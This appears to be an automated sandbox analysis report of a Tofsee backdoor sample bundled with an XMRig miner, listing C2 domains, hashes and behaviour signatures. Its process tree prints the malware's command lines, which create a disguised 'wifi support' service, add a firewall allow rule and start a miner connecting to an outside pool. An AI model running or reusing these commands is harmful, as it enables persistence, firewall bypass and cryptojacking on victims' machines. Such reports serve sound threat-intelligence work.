Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    07/01/2023, 04:29

General

  • Target
    file.exe
  • Size 310KB
  • Sample230107-e38e1agb7w
  • SHA256 93de16bcf457b70d7560f20677998262f9290568825304a825dd58d256ca87e1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cvtbcokq\
      2⤵
        PID:1940
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rlnvrlrk.exe" C:\Windows\SysWOW64\cvtbcokq\
        2⤵
          PID:1208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cvtbcokq binPath= "C:\Windows\SysWOW64\cvtbcokq\rlnvrlrk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:864
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description cvtbcokq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start cvtbcokq
          2⤵
          • Launches sc.exe
          PID:2012
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1532
      • C:\Windows\SysWOW64\cvtbcokq\rlnvrlrk.exe
        C:\Windows\SysWOW64\cvtbcokq\rlnvrlrk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:580
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:536
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1264

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            rlnvrlrk.exe

            • Path C:\Users\Admin\AppData\Local\Temp\rlnvrlrk.exe
            • Size 13.1MB
            • SHA256 3dfe98115d3870f792f00f443f70e8c73103cfc85fc1525d8735858ac35e30a8
            • MD5 SHA1 SHA512 SSDEEP

            rlnvrlrk.exe

            • Path C:\Windows\SysWOW64\cvtbcokq\rlnvrlrk.exe
            • Size 13.1MB
            • SHA256 3dfe98115d3870f792f00f443f70e8c73103cfc85fc1525d8735858ac35e30a8
            • MD5 SHA1 SHA512 SSDEEP

            memory/536-94-0x0000000005820000-0x0000000005C2B000-memory.dmp

            memory/536-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/536-91-0x00000000001B0000-0x00000000001B5000-memory.dmp

            memory/536-88-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/536-97-0x0000000000430000-0x0000000000437000-memory.dmp

            memory/536-85-0x0000000000180000-0x0000000000186000-memory.dmp

            memory/536-82-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/536-81-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/536-100-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/536-74-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/580-71-0x0000000000230000-0x0000000000330000-memory.dmp

            memory/580-76-0x0000000000400000-0x0000000002C41000-memory.dmp

            memory/580-80-0x0000000000400000-0x0000000002C41000-memory.dmp

            memory/1264-103-0x0000000000200000-0x00000000002F1000-memory.dmp

            memory/1264-101-0x0000000000200000-0x00000000002F1000-memory.dmp

            memory/1664-66-0x000000000026B000-0x0000000000281000-memory.dmp

            memory/1664-58-0x0000000000400000-0x0000000002C41000-memory.dmp

            memory/1664-56-0x000000000026B000-0x0000000000281000-memory.dmp

            memory/1664-57-0x00000000003C0000-0x00000000003D3000-memory.dmp

            memory/1664-54-0x0000000076181000-0x0000000076183000-memory.dmp

            memory/1664-67-0x0000000000400000-0x0000000002C41000-memory.dmp